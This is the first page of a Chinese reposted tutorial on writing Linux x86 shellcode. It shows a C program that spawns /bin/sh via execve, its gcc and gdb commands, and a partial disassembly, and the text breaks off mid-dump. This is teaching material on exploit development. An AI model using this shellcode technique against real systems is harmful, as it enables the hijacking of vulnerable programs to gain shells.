网站首页 | 网页制作 | 网络编程 | 图形图象 | 冲浪宝典 | 操作系统 | 软件教学 | 网络安全 | 认证考试 | 下载中心 | 游戏下载
| 网络安全首页 | 安全在线 | 病毒防治 | 黑客攻防 | 漏洞研究 | 黑客编程 | 破解手记 |
您现在的位置: 超人气学院 >> 网络安全 >> 黑客编程 >> 文章正文 用户登录 新用户注册
关于 Shell Code 的编写           
关于 Shell Code 的编写
作者:未知 文章来源:网络收集 点击数: 更新时间:2006-3-29 15:22:20
backend 于 99-9-29 18:24:47 加贴在 UNIX系统安全:

Shell Code 的编写

下面是一个创建Shell的C程序shellcode.c: (本文以IntelX86上的Linux为例说明)

void main() {
  char *name[2];

  name[0] = "/bin/sh";
  name[1] = NULL;
  execve(name[0], name, NULL);
}

我们先将它编译为执行代码,然后再用gdb来分析一下.(注意编译时要用-static选项,否则execve的代码将不会放入执行代码,而是作为动态链接在运行时才链入.)
------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcode -ggdb -static shellcode.c
[aleph1]$ gdb shellcode
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130
: pushl %ebp
0x8000131 : movl %esp,%ebp
0x8000133 : subl $0x8,%esp
0x8000136 : movl $0x80027b8,0xfffffff8(%ebp)
0x800013d : movl $0x0,0xfffffffc(%ebp)
0x8000144 : pushl $0x0
0x8000146 : leal 0xfffffff8(%ebp),%eax
0x8000149 : pushl %eax
0x800014a : movl 0xfffffff8(%ebp),%eax
0x800014d : pushl %eax
0x800014e : call 0x80002bc <__execve>
0x8000153 : addl $0xc,%esp
0x8000156 : movl %ebp,%esp
0x8000158 : popl %ebp
0x8000159 : ret
End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
0x80002c0 <__execve+4>: movl $0xb,%eax
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
0x80002ce <__execve+18>: int $0x80
0

[1] [2] [3] [4] 下一页

[ 收藏此页到: 天天|和讯|博采|ViVi|狐摘|我摘|天极 ] 文章录入:kinda    责任编辑:kinda 
  • 上一篇文章:

  • 下一篇文章:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    专 题 栏 目
    最 新 热 门
     Windows中巧用RUNDLL3[5355]
     黑客软件编写基础知识[827]
     Win32Asm快速教程[535]
    相 关 文 章
    关于“为什么我国软件产业
    BrickShooter2.1破解心得
    flashget0.96去除广告条方
    关于pe-scanv3.0x的壳研究
    脱Flashfxp1.4的壳
    FlashFXPv1.4.1build823的
    加密算法之BLOWFISH算法
    Bannershop4.5破解手记
    eBookWorkshopv1.4
    flashget1.40的粗略分析和
    FileShredder2000算法分析
    ShiznitScannerV2.1简单算
    屏幕撷取程序AshampooSnap
    简单算法——黄河Flash播放
    Publish-iTv2.4b-超级印刷
    网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)